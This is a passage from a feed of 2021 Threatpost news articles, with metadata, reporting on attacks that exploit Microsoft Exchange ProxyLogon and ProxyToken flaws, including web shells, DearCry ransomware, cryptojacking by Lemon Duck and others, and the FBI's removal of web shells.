On-premises Mitigation Tool (EOMT) tool to help smaller businesses without dedicated security teams to protect themselves.\n\n\u201cMicrosoft has released a new, [one-click mitigation tool](<https://aka.ms/eomt>), Microsoft Exchange On-Premises Mitigation Tool to help customers who do not have dedicated security or IT teams to apply these security updates. We have tested this tool across Exchange Server 2013, 2016, and 2019 deployments,\u201d according to a [post](<https://msrc-blog.microsoft.com/2021/03/15/one-click-microsoft-exchange-on-premises-mitigation-tool-march-2021/>) published by Microsoft. \u201cThis new tool is designed as an interim mitigation for customers who are unfamiliar with the patch/update process or who have not yet applied the on-premises Exchange security update.\u201d\n\nMicrosoft said that the tool will mitigate against exploits for the initial-access bug CVE-2021-26855 via a URL rewrite configuration, and will also scan the server using the [Microsoft Safety Scanner](<https://docs.microsoft.com/en-us/windows/security/threat-protection/intelligence/safety-scanner-download>) to identify any existing compromises. Then, it will remediate those.\n\n## **China Chopper Back on the Workbench**\n\nAmid this flurry of activity, more is becoming known about how the attacks work. For instance, the APT Hafnium first flagged by Hafnium is uploading the well-known China Chopper web shell to victim machines.\n\nThat\u2019s according to [an analysis](<https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/hafnium-china-chopper-and-aspnet-runtime/>) from Trustwave SpiderLabs, which found that China Chopper is specifically being uploaded to compromised Microsoft Exchange servers with a publicly facing Internet Information Services (IIS) web server.\n\nChina Chopper is an Active Server Page Extended (ASPX) web shell that is typically planted on an IIS or Apache server through an exploit. Once established, the backdoor \u2014 which [hasn\u2019t been altered much](<https://threatpost.com/china-chopper-tool-multiple-campaigns/147813/>) since its inception nearly a decade ago \u2014 allows adversaries to execute various commands on the server, drop malware and more.\n\n\u201cWhile the China Chopper web shell has been around for years, we decided to dig even deeper into how the China Chopper web shell works as well as how the ASP.NET runtime serves these web shells,\u201d according to Trustwave. \u201cThe China Chopper server-side ASPX web shell is [extremely small](<https://threatpost.com/fin7-active-exploits-sharepoint/144628/>) and typically, the entire thing is just one line.\u201d\n\nHafnium is using the JScript version of the web shell, researchers added.\n\n\u201cThe script is essentially a page where when an HTTP POST request is made to the page, and the script will call the JScript \u2018eval\u2019 function to execute the string inside a given POST request variable,\u201d researchers explained. \u201cIn the\u2026script, the POST request variable is named \u2018secret,\u2019 meaning any JScript contained in the \u2018secret\u2019 variable will be executed on the server.\u201d\n\nResearchers added that typically, a China Chopper client component in the form of a C binary file is used on the attacker\u2019s systems.\n\n\u201cThis client allows the attacker to perform many nefarious tasks such as downloading and uploading files, running a virtual terminal to execute anything you normally could using cmd.exe, modifying file times, executing custom JScript, file browsing and more,\u201d explained Trustwave researchers. \u201cAll this is made available just from the one line of code running on the server.\u201d\n\n**_Check out our free _**[**_upcoming live webinar events_**](<https://threatpost.com/category/webinars/>)**_ \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community:_**\n\n * March 24: **Economics of 0-Day Disclosures: The Good, Bad and Ugly** ([Learn more and register!](<https://threatpost.com/webinars/economics-of-0-day-disclosures-the-good-bad-and-ugly/>))\n * April 21: **Underground Markets: A Tour of the Dark Economy** ([Learn more and register!](<https://threatpost.com/webinars/underground-markets-a-tour-of-the-dark-economy/>))\n", "cvss3": {}, "published": "2021-03-16T16:56:26", "type": "threatpost", "title": "Exchange Cyberattacks Escalate as Microsoft Rolls One-Click Fix", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-03-16T16:56:26", "id": "THREATPOST:A4C1190B664DAE144A62459611AC5F4A", "href": "https://threatpost.com/microsoft-exchange-cyberattacks-one-click-fix/164817/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-03-16T14:17:03", "description": "Cybercriminals are now using compromised Microsoft Exchange servers as a foothold to deploy a new ransomware family called DearCry, Microsoft has warned.\n\nThe ransomware is the latest threat to beleaguer vulnerable Exchange servers, emerging shortly after Microsoft [issued emergency patches in early March](<https://threatpost.com/microsoft-exchange-zero-day-attackers-spy/164438/>) for four Microsoft Exchange flaws. The flaws [can be chained together](<https://threatpost.com/microsoft-patch-tuesday-updates-critical-bugs/164621/>) to create a pre-authentication remote code execution (RCE) exploit \u2013 meaning that attackers can take over servers without knowing any valid account credentials.\n\nThe flaws give attackers the opportunity to install a webshell for further exploitation within the environment \u2014 and now, researchers say attackers are downloading the new ransomware strain (a.k.a. Ransom:Win32/DoejoCrypt.A) as part of their post-exploitation activity on unpatched servers.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cWe have detected and are now blocking a new family of ransomware being used after an initial compromise of unpatched on-premises Exchange Servers,\u201d Microsoft said [on Twitter](<https://twitter.com/MsftSecIntel/status/1370236539427459076>), Thursday.\n\n## **DearCry Ransomware**\n\nDearCry first came onto the infosec space\u2019s radar after ransomware expert Michael Gillespie [on Thursday said he observed](<https://twitter.com/demonslay335/status/1370125343571509250>) a \u201csudden swarm\u201d of submissions to his ransomware identification website, ID-Ransomware.\n\nThe ransomware uses the extension \u201c.CRYPT\u201d when encrypting files, as well as a filemarker \u201cDEARCRY!\u201d in the string for each encrypted file.\n\n[Microsoft later confirmed](<https://twitter.com/phillip_misner/status/1370197696280027136>) that the ransomware was being launched by attackers using the four Microsoft Exchange vulnerabilities, known collectively as ProxyLogon, which are being tracked as CVE-2021-26855, CVE-2021-26857, CVE-2021-26858 and CVE-2021-27065.\n\nhttps://twitter.com/demonslay335/status/1370125343571509250\n\nAccording to a [report by BleepingComputer](<https://www.bleepingcomputer.com/news/security/ransomware-now-attacks-microsoft-exchange-servers-with-proxylogon-exploits/amp/>), the ransomware drops a ransom note (called \u2018readme.txt\u2019) after initially infecting the victim \u2013 which contains two email addresses for the threat actors and demands a ransom payment of $16,000.\n\nMeanwhile, [MalwareHunterTeam](<https://twitter.com/malwrhunterteam/status/1370130753586102272>) on Twitter said that victim companies of DearCry have been spotted in Australia, Austria, Canada, Denmark and the U.S. On Twitter, MalwareHunterTeam said the ransomware is \u201cnot that very widespread (yet?).\u201d Thus far, three samples of the DearCry ransomware were uploaded to VirusTotal on March 9 (the hashes for which [can be found here)](<https://twitter.com/malwrhunterteam/status/1370271414855593986>).\n\n## **Microsoft Exchange Attacks Doubling Every Hour**\n\nExploitation activity for the recently patched Exchange flaws continue to skyrocket, [with researchers this week warning](<https://threatpost.com/microsoft-exchange-servers-apt-attack/164695/>) the flaws are under fire from at least 10 different advanced persistent threat (APT) groups, all bent on compromising email servers around the world.\n\n[New research by Check Point Software](<https://blog.checkpoint.com/2021/03/11/exploits-on-organizations-worldwide/>) said in the past 24 hours alone, the number of exploitation attempts on organizations have doubled every two to three hours.\n\nResearchers said they saw hundreds of exploit attempts against organizations worldwide \u2013 with the most-targeted industry sectors being government and military (making up 17 percent of all exploit attempts), manufacturing (14 percent) and banking (11 percent).\n\nResearchers warned that exploitation activity will continue \u2014 and urged companies that have not already done so to patch.\n\n\u201cSince the recently disclosed vulnerabilities on Microsoft Exchange Servers, a full race has started amongst hackers and security professionals,\u201d according to Check Point researchers. \u201cGlobal experts are using massive preventative efforts to combat hackers who are working day-in and day-out to produce an exploit that can successfully leverage the remote code-execution vulnerabilities in Microsoft Exchange.\u201d\n\n**_Check out our free [upcoming live webinar events](<https://threatpost.com/category/webinars/>) \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community:_**\n\n * March 24: **Economics of 0-Day Disclosures: The Good, Bad and Ugly **([Learn more and register!](<https://threatpost.com/webinars/economics-of-0-day-disclosures-the-good-bad-and-ugly/>))\n * April 21: **Underground Markets: A Tour of the Dark Economy **([Learn more and register!](<https://threatpost.com/webinars/underground-markets-a-tour-of-the-dark-economy/>))\n", "cvss3": {}, "published": "2021-03-12T16:26:07", "type": "threatpost", "title": "Microsoft Exchange Exploits Pave a Ransomware Path", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-03-12T16:26:07", "id": "THREATPOST:DC270F423257A4E0C44191BE365F25CB", "href": "https://threatpost.com/microsoft-exchange-exploits-ransomware/164719/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-04-15T12:28:24", "description": "Cryptojacking can be added to the list of threats that face any [unpatched Exchange servers](<https://threatpost.com/microsoft-exchange-servers-proxylogon-patching/165001/>) that remain vulnerable to the now-infamous ProxyLogon exploit, new research has found.\n\nResearchers discovered the threat actors using Exchange servers compromised using the highly publicized exploit chain\u2014which suffered a [barrage of attacks](<https://threatpost.com/microsoft-exchange-servers-apt-attack/164695/>) from advanced persistent threat (APT) groups to infect systems with everything from [ransomware](<https://threatpost.com/microsoft-exchange-exploits-ransomware/164719/>) to webshells\u2014to host Monero cryptomining malware, according to [a report](<https://news.sophos.com/en-us/2021/04/13/compromised-exchange-server-hosting-cryptojacker-targeting-other-exchange-servers/>) posted online this week by SophosLabs.\n\n\u201cAn unknown attacker has been attempting to leverage what\u2019s now known as the ProxyLogon exploit to foist a malicious Monero cryptominer onto Exchange servers, with the payload being hosted on a compromised Exchange server,\u201d Sophos principal researcher Andrew Brandt wrote in the report. \n[](<https://threatpost.com/newsletter-sign/>)\n\nResearchers were inspecting telemetry when they discovered what they deemed an \u201cunusual attack\u201d targeting the customer\u2019s Exchange server. Sophos researchers Fraser Howard and Simon Porter were instrumental in the discovery and analysis of the novel threat, Brandt acknowledged.\n\nResearchers said they detected the executables associated with this attack as Mal/Inject-GV and XMR-Stak Miner (PUA), according to the report. Researchers published a list of [indicators of compromise](<https://github.com/sophoslabs/IoCs/blob/master/PUA-QuickCPU_xmr-stak.csv>) on the SophosLabs GitHub page to help organizations recognize if they\u2019ve been attacked in this way.\n\n## **How It Works**\n\nThe attack as observed by researchers began with a PowerShell command to retrieve a file named win_r.zip from another compromised server\u2019s Outlook Web Access logon path (/owa/auth), according to the report. Under closer inspection, the .zip file was not a compressed archive at all but a batch script that then invoked the built-into-Windows certutil.exe program to download two additional files, win_s.zip and win_d.zip, which also were not compressed.\n\nThe first file is written out to the filesystem as QuickCPU.b64, an executable payload in base64 that can be decoded by the certutil application, which by design can decode base64-encoded security certificates, researchers observed.\n\nThe batch script then runs another command that outputs the decoded executable into the same directory. Once decoded, the batch script runs the executable, which extracts the miner and configuration data from the QuickCPU.dat file, injects it into a system process, and then deletes any evidence that it was there, according to the report.\n\nThe executable in the attack appears to contain a modified version of a tool publicly available on Github called PEx64-Injector, which is [described](<https://github.com/0xyg3n/PEx64-Injector>) on its Github page as having the ability to \u201cmigrate any x64 exe to any x64 process\u201d with \u201cno administrator privileges required,\u201d according to the report.\n\nOnce the file runs on an infected system, it extracts the contents of the QuickCPU.dat file, which includes an installer for the cryptominer and its configuration temporarily to the filesystem. It then configures the miner, injects it into a running process, then quits, according to the report. \u201cThe batch file then deletes the evidence and the miner remains running in memory, injected into a process already running on the system,\u201d Brandt wrote.\n\nResearchers observed the cryptominer receiving funds on March 9, which is when Microsoft also released updates to Exchange to patch the flaws. Though the attacker lost several servers after this date and the output from the miner decreased, other servers that were gained thereafter more than made up for the early losses, according to the report.\n\n## **Exploit-Chain History**\n\nThe ProxyLogon problem started for Microsoft in early March when the company said it [had spotted multiple zero-day exploits](<https://threatpost.com/microsoft-exchange-zero-day-attackers-spy/164438/>) in the wild being used to attack on-premises versions of Microsoft Exchange Server. The exploit chain is comprised of four flaws (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065).\n\nTogether the flaws created a pre-authentication remote code execution (RCE) exploit, meaning attackers can take over servers without knowing any valid account credentials. This gave them access to email communications and the opportunity to install a web shell for further exploitation within the environment.\n\nAs previously mentioned, Microsoft released an out-of-band update [soon after](<https://threatpost.com/microsoft-exchange-zero-day-attackers-spy/164438/>) in its scramble to patch the flaws in the ProxyLogon chain; however, while the company boasted later that month that 92 percent of affected machines already had been patched, much damage had already been done, and unpatched systems likely exist that remain vulnerable.\n\n**_Ever wonder what goes on in underground cybercrime forums? Find out on April 21 at 2 p.m. ET during a _**[**_FREE Threatpost event_**](<https://threatpost.com/webinars/underground-markets-a-tour-of-the-dark-economy/?utm_source=ART&utm_medium=ART&utm_campaign=April_webinar>)**_, \u201cUnderground Markets: A Tour of the Dark Economy.\u201d Experts from Digital Shadows (Austin Merritt) and Sift (Kevin Lee) will take you on a guided tour of the Dark Web, including what\u2019s for sale, how much it costs, how hackers work together and the latest tools available for hackers. _**[**_Register here_**](<https://threatpost.com/webinars/underground-markets-a-tour-of-the-dark-economy/?utm_source=ART&utm_medium=ART&utm_campaign=April_webinar>)**_ for the Wed., April 21 LIVE event. _**\n", "cvss3": {}, "published": "2021-04-15T12:19:13", "type": "threatpost", "title": "Attackers Target ProxyLogon Exploit to Install Cryptojacker", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-04-15T12:19:13", "id": "THREATPOST:B787E57D67AB2F76B899BCC525FF6870", "href": "https://threatpost.com/attackers-target-proxylogon-cryptojacker/165418/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-08-30T18:54:34", "description": "A serious security vulnerability in Microsoft Exchange Server that researchers have dubbed ProxyToken could allow an unauthenticated attacker to access and steal emails from a target\u2019s mailbox.\n\nMicrosoft Exchange uses two websites; one, the front end, is what users connect to in order to access email. The second is a back-end site that handles the authentication function.\n\n\u201cThe front-end website is mostly just a proxy to the back end. To allow access that requires forms authentication, the front end serves pages such as /owa/auth/logon.aspx,\u201d according to a [Monday posting](<https://www.zerodayinitiative.com/blog/2021/8/30/proxytoken-an-authentication-bypass-in-microsoft-exchange-server>) on the bug from Trend Micro\u2019s Zero Day Initiative. \u201cFor all post-authentication requests, the front end\u2019s main role is to repackage the requests and proxy them to corresponding endpoints on the Exchange Back End site. It then collects the responses from the back end and forwards them to the client.\u201d\n\n[](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>)\n\nThe issue arises specifically in a feature called \u201cDelegated Authentication,\u201d where the front end passes authentication requests directly to the back end. These requests contain a SecurityToken cookie that identify them; i.e., if the front end finds a non-empty cookie named SecurityToken, it delegates authentication to the back end. However, Exchange has to be specifically configured to have the back end perform the authentication checks; in a default configuration, the module responsible for that (the \u201cDelegatedAuthModule\u201d) isn\u2019t loaded.\n\n\u201cWhen the front end sees the SecurityToken cookie, it knows that the back end alone is responsible for authenticating this request,\u201d according to ZDI. \u201cMeanwhile, the back end is completely unaware that it needs to authenticate some incoming requests based upon the SecurityToken cookie, since the DelegatedAuthModule is not loaded in installations that have not been configured to use the special delegated authentication feature. The net result is that requests can sail through, without being subjected to authentication on either the front or back end.\u201d\n\nFrom there, attacker could install a forwarding rule allowing them to read the victim\u2019s incoming mail.\n\n\u201cWith this vulnerability, an unauthenticated attacker can perform configuration actions on mailboxes belonging to arbitrary users,\u201d according to the post. \u201cAs an illustration of the impact, this can be used to copy all emails addressed to a target and account and forward them to an account controlled by the attacker.\u201d\n\nZDI outlined an exploitation scenario wherein an attacker has an account on the same Exchange server as the victim. However, if an administrator permits forwarding rules having arbitrary internet destinations, no Exchange credentials are needed at all, researchers noted.\n\nThe bug ([CVE-2021-33766](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33766>)) was reported to the Zero Day Initiative by researcher Le Xuan Tuyen of VNPT ISC, and it was patched by Microsoft in the July Exchange cumulative updates. Organizations should update their products to avoid compromise.\n\nThe ProxyToken revelation comes after [the disclosure of](<https://threatpost.com/attackers-target-proxylogon-cryptojacker/165418/>) ProxyLogon in early March; that\u2019s an exploit chain comprised of four Exchange flaws (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065), which together create a pre-authentication remote code execution (RCE) exploit. Attackers can take over unpatched servers without knowing any valid account credentials, giving them access to email communications and the opportunity to install a web shell for further exploitation within the environment. ProxyLogon was weaponized in [wide-scale attacks](<https://threatpost.com/fbi-proxylogon-web-shells/165400/>) throughout the spring.\n\n_**Check out our free **_[_**upcoming live and on-demand webinar events**_](<https://threatpost.com/category/webinars/>)_** \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community.**_\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-30T17:31:06", "type": "threatpost", "title": "Microsoft Exchange 'ProxyToken' Bug Allows Email Snooping", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-33766"], "modified": "2021-08-30T17:31:06", "id": "THREATPOST:9AF5E0BBCEF3F8F871ED50F3A8A604A9", "href": "https://threatpost.com/microsoft-exchange-proxytoken-email/169030/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-05-11T06:29:15", "description": "The Lemon Duck cryptocurrency-mining botnet has added the [ProxyLogon group of exploits](<https://threatpost.com/fbi-proxylogon-web-shells/165400/>) to its bag of tricks, targeting Microsoft Exchange servers.\n\nThat\u2019s according to researchers at Cisco Talos, who said that the cybercrime group behind Lemon Duck has also added the Cobalt Strike attack framework into its malware toolkit and has beefed up anti-detection capabilities. On the latter front, it\u2019s using fake domains on East Asian top-level domains (TLDs) to hide command-and-control (C2) infrastructure.\n\n[](<https://threatpost.com/webinars/fortifying-your-business-against-attacks/?utm_source=ART&utm_medium=ART&utm_campaign=May_Zoho_Webinar>)\n\nJoin Threatpost for \u201c[Fortifying Your Business Against Ransomware, DDoS & Cryptojacking Attacks](<https://threatpost.com/webinars/fortifying-your-business-against-attacks/?utm_source=ART&utm_medium=ART&utm_campaign=May_Zoho_Webinar>)\u201d a LIVE roundtable event on Wednesday, May 12 at 2:00 PM EDT for this FREE webinar sponsored by Zoho ManageEngine.\n\nLemon Duck targets victims\u2019 computer resources to mine the Monero virtual currency, with self-propagating capabilities and a modular framework that allows it to infect additional systems that become part of the botnet. It has been active since at least the end of December 2018, and Cisco Talos calls it \u201cone of the more complex\u201d mining botnets, with several interesting tricks up its sleeve.\n\nFor instance, Lemon Duck has at least 12 different initial-infection vectors \u2013 more than most malware, with Proxylogon exploits only the latest addition. Its existing capabilities ranged from Server Message Block (SMB) and Remote Desktop Protocol (RDP) password brute-forcing; targeting the RDP BlueKeep flaw (CVE-2019-0708) in Windows machines; [targeting internet-of-things devices](<https://threatpost.com/lemon-duck-malware-targets-iot/152596/>) with weak or default passwords; and exploiting vulnerabilities in Redis (an open-source, in-memory data structure store used as a database, cache and message broker) and YARN Hadoop (a resource-management and job-scheduling technology) in Linux machines.\n\n\u201cSince April 2021, Cisco Talos has observed updated infrastructure and new components associated with the Lemon Duck that target unpatched Microsoft Exchange Servers and attempt to download and execute payloads for Cobalt Strike DNS beacons,\u201d according to [an analysis](<https://blog.talosintelligence.com/2021/05/lemon-duck-spreads-wings.html>) released Friday.\n\nCisco Talos researchers [previously observed](<https://threatpost.com/lemon-duck-cryptocurrency-botnet/160046/>) an increase in DNS requests connected with Lemon Duck\u2019s C2 and mining servers last August, with the attacks mainly targeting Egypt, India, Iran, the Philippines and Vietnam. In the latest rash of attacks, which began in April, the group has changed up its geographic targets to focus primarily on North America, followed by Europe and Southeast Asia, and a handful of victims in Africa and South America.\n\n## **Targeting Exchange Servers with Monero-Mining**\n\nProxyLogon consists of four flaws (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065) that can be chained together to create a pre-authentication remote code execution (RCE) exploit \u2013 meaning that attackers can take over servers without knowing any valid account credentials. This gives them access to email communications and the opportunity to install a web shell for further exploitation within the environment, such as the deployment of ransomware.\n\nThe highly publicized exploit chain suffered a barrage of attacks from advanced persistent threat (APT) groups to infect systems with everything from ransomware to info-stealers, and now financially motivated groups are getting in on the action too.\n\nIn Lemon Duck\u2019s case, once the Exchange servers are compromised, it executes various system commands using the Windows Control Manager (sc.exe), including copying two .ASPX files named \u201cwanlins.aspx\u201d and \u201cwanlin.aspx.\u201d\n\n\u201cThese files are likely web shells and were copied from C:\\inetpub\\wwwroot\\aspnet_client\\, a known directory where a majority of the web shells were initially observed following Microsoft\u2019s release of details related to Hafnium activity,\u201d according to the research.\n\nNext, Cisco Talos researchers observed the echo command being used to write code associated with a web shell into the previously created ASPX files, and the modification of the Windows registry to enable RDP access to the system.\n\n\u201cIn this case, several characteristics matched portions of code associated with known China Chopper variants identified days after the Exchange Server vulnerabilities were publicized,\u201d they noted.\n\nOther interesting aspects of the latest campaign include the fact that Lemon Duck executes a PowerShell script that downloads and executes an additional malware payload, \u201csyspstem.dat,\u201d which includes a \u201ckiller\u201d module which contains a hardcoded list of competing cryptocurrency miners that Lemon Duck disables. The module is run every 50 minutes.\n\nAlso, the malware is now leveraging Certutil to download and execute two new malicious PowerShell scripts, researchers said. Certutil is a native Windows command-line program that is installed as part of Certificate Services. It is used to verify and dump Certificate Authority (CA) information, get and publish new certificate revocation lists, and so on.\n\nOne of the PowerShell scripts, named \u201cdn.ps1,\u201d attempts to uninstall multiple antivirus products, and also retrieves a Cobalt Strike payload.\n\n## **Cobalt Strike Added to the Mix**\n\n[Cobalt Strike is a penetration-testing tool](<https://threatpost.com/cobalt-ulster-strikes-again-with-new-forelord-malware/153418/>) that\u2019s commercially available. It sends out beacons to detect network vulnerabilities. When used for its intended purpose, it [simulates an attack](<https://www.cobaltstrike.com/features>). Threat actors have since figured out how to [turn it against networks](<https://threatpost.com/apt29-re-emerges-after-2-years-with-widespread-espionage-campaign/139246/>) to exfiltrate data, deliver malware and create fake C2 profiles that look legitimate and avoid detection.\n\nLemon Duck\u2019s Cobalt Strike payload is configured as a Windows DNS beacon and attempts to communicate with the C2 server using a DNS-based covert channel, researchers noted. The beacon then communicates with this specific subdomain to transmit encoded data via DNS A record query requests.\n\n\u201cThis represents a new TTP for Lemon Duck, and is another example of their reliance [on offensive security tools (OSTs)](<https://threatpost.com/malicious-software-infrastructure-easier-deploy/162913/>), including Powersploit\u2019s reflective loader and a modified Mimikatz, which are already included as additional modules and components of Lemon Duck and used throughout the typical attack lifecycle,\u201d according to Cisco Talos.\n\n## **Lemon Duck\u2019s Fresh Anti-Detection Tricks**\n\nWhile Lemon Duck casts a wide net in terms of victimology, it has been exclusively using websites within the TLDs for China (\u201c.cn\u201d), Japan (\u201c.jp\u201d) and South Korea (\u201c.kr\u201d) for its C2 activities since February, rather than the more familiar \u201c.com\u201d or \u201c.net.\u201d\n\n\u201cConsidering these [TLDs] are most commonly used for websites in their respective countries and languages\u2026this may allow the threat actor to more effectively hide C2 communications among other web traffic present in victim environments,\u201d according to Cisco Talos. \u201cDue to the prevalence of domains using these [TLDs], web traffic to the domains\u2026may be more easily attributed as noise to victims within these countries.\u201d\n\nDuring the Lemon Duck infection process, PowerShell is used to invoke the \u201cGetHostAddresses\u201d method from the .NET runtime class \u201cNet.Dns\u201d to obtain the current IP address for an attacker-controlled domain, researchers explained.\n\n\u201cThis IP address is combined with a fake hostname hardcoded into the PowerShell command and written as an entry to the Windows hosts file,\u201d they said. \u201cThis mechanism allows name resolution to continue even if DNS-based security controls are later deployed, as the translation is now recorded locally and future resolution requests no longer rely upon upstream infrastructure such as DNS servers. This may allow the adversary to achieve longer-term persistence once operational in victim environments.\u201d\n\n## **Cryptojackers Take Notice of ProxyLogon**\n\nLemon Duck is not the first cryptomining malware to add ProxyLogon to its arsenal. For instance, another cryptojacking group [was seen in mid-April](<https://threatpost.com/attackers-target-proxylogon-cryptojacker/165418/>) doing the same thing.\n\nThat bad code was fairly simple, but also in mid-April a heretofore little-seen Monero-mining botnet [dubbed Prometei](<https://threatpost.com/prometei-botnet-apt-attacks/165574/>) began exploiting two of the Microsoft Exchange vulnerabilities in ProxyLogon. This malware is also highly complex and sophisticated, Cybereason researchers noted at the time. While cryptojacking is its current game, researchers warned that Prometei (the Russian word for Prometheus, the Titan god of fire from Greek mythology) gives attackers complete control over infected machines, which makes it capable of doing a wide range of damage.\n\nThe threat will likely continue to evolve, Cisco Talos researchers said. They also observed domains linked to Lemon Duck and another cryptocurrency miner, DLTMiner, used in relation to Microsoft Exchange attacks where ransomware was also deployed.\n\n\u201cAt this time, there doesn\u2019t appear to be a link between the Lemon Duck components observed there and the reported ransomware (TeslaRVNG2),\u201d according to the analysis. \u201cThis suggests that given the nature of the vulnerabilities targeted, we are likely to continue to observe a range of malicious activities in parallel, using similar exploitation techniques and infection vectors to compromise systems. In some cases, attackers may take advantage of artifacts left in place from prior compromises, making distinction more difficult.\u201d\n\nMeanwhile, it\u2019s clear that the threat actor behind Lemon Duck is continuously evolving its approach to maximize the ability to achieve its mission objectives, researchers noted.\n\n\u201cLemon Duck continues to launch campaigns against systems around the world, attempting to leverage infected systems to mine cryptocurrency and generate revenue for the adversary behind this botnet,\u201d they concluded. \u201cThe use of new tools like Cobalt Strike, as well as the implementation of additional obfuscation techniques throughout the attack lifecycle, may enable them to operate more effectively for longer periods within victim environments. \u2026 Organizations should remain vigilant against this threat, as it will likely continue to evolve.\u201d\n\n**Join Threatpost for \u201c**[**Fortifying Your Business Against Ransomware, DDoS & Cryptojacking Attacks**](<https://threatpost.com/webinars/fortifying-your-business-against-attacks/?utm_source=ART&utm_medium=ART&utm_campaign=May_Zoho_Webinar>)**\u201d \u2013 a LIVE roundtable event on**[** Wed, May 12 at 2:00 PM EDT**](<https://threatpost.com/webinars/fortifying-your-business-against-attacks/?utm_source=ART&utm_medium=ART&utm_campaign=May_Zoho_Webinarhttps://threatpost.com/webinars/fortifying-your-business-against-attacks/?utm_source=ART&utm_medium=ART&utm_campaign=May_Zoho_Webinar>)**. Sponsored by Zoho ManageEngine, Threatpost host Becky Bracken moderates an expert panel discussing best defense strategies for these 2021 threats. Questions and LIVE audience participation encouraged. Join the lively discussion and [Register HERE](<https://threatpost.com/webinars/fortifying-your-business-against-attacks/?utm_source=ART&utm_medium=ART&utm_campaign=May_Zoho_Webinar>) for free. **\n", "cvss3": {}, "published": "2021-05-10T17:37:44", "type": "threatpost", "title": "Lemon Duck Cryptojacking Botnet Changes Up Tactics", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-0708", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-05-10T17:37:44", "id": "THREATPOST:1084DB580B431A6B8428C25B78E05C88", "href": "https://threatpost.com/lemon-duck-cryptojacking-botnet-tactics/165986/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-04-15T09:53:19", "description": "The Feds have cleared malicious web shells from hundreds of vulnerable computers in the United States that had been compromised via the now-infamous ProxyLogon Microsoft Exchange vulnerabilities.\n\nProxyLogon comprises a group of security bugs affecting on-premises versions of Microsoft Exchange Server software for email. Microsoft last month warned that the bugs were being [actively exploited](<https://threatpost.com/microsoft-exchange-zero-day-attackers-spy/164438/>) by the Hafnium advanced persistent threat (APT); after that, other researchers said that [10 or more additional APTs](<https://threatpost.com/microsoft-exchange-servers-apt-attack/164695/>) were also using them.\n\nProxyLogon consists of four flaws (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065) that can be chained together to create a pre-authentication remote code execution (RCE) exploit \u2013 meaning that attackers can take over servers without knowing any valid account credentials. This gives them access to email communications and the opportunity to install a web shell for further exploitation within the environment, such as the [deployment of ransomware](<https://threatpost.com/microsoft-exchange-exploits-ransomware/164719/>).\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nWhile patching levels have accelerated, this doesn\u2019t help already-compromised computers.\n\n\u201cMany infected system owners successfully removed the web shells from thousands of computers,\u201d explained the Department of Justice, in a [Tuesday announcement](<https://www.justice.gov/usao-sdtx/pr/justice-department-announces-court-authorized-effort-disrupt-exploitation-microsoft>). \u201cOthers appeared unable to do so, and hundreds of such web shells persisted unmitigated.\u201d\n\nThis state of affairs prompted the FBI to take action; in a court-authorized action, it issued a series of commands through the web shells to the affected servers. The commands were designed to cause the server to delete only the web shells (identified by their unique file path). It didn\u2019t notify affected organizations ahead of time, but authorities said they\u2019re sending out notices now.\n\n\u201cToday\u2019s court-authorized removal of the malicious web shells demonstrates the Department\u2019s commitment to disrupt hacking activity using all of our legal tools, not just prosecutions,\u201d said Assistant Attorney General John Demers for the DoJ\u2019s National Security Division, in the statement.\n\n## **Unilateral FBI Action Against ProxyLogon Exploits**\n\nOther technical details of the action are being kept under wraps, but Erkang Zheng, founder and CEO at JupiterOne, noted that the action is unprecedented.\n\n\u201cWhat makes this really interesting is the court ordered remote remediation of vulnerable systems,\u201d he said via email. \u201cThis is the first time that this has happened 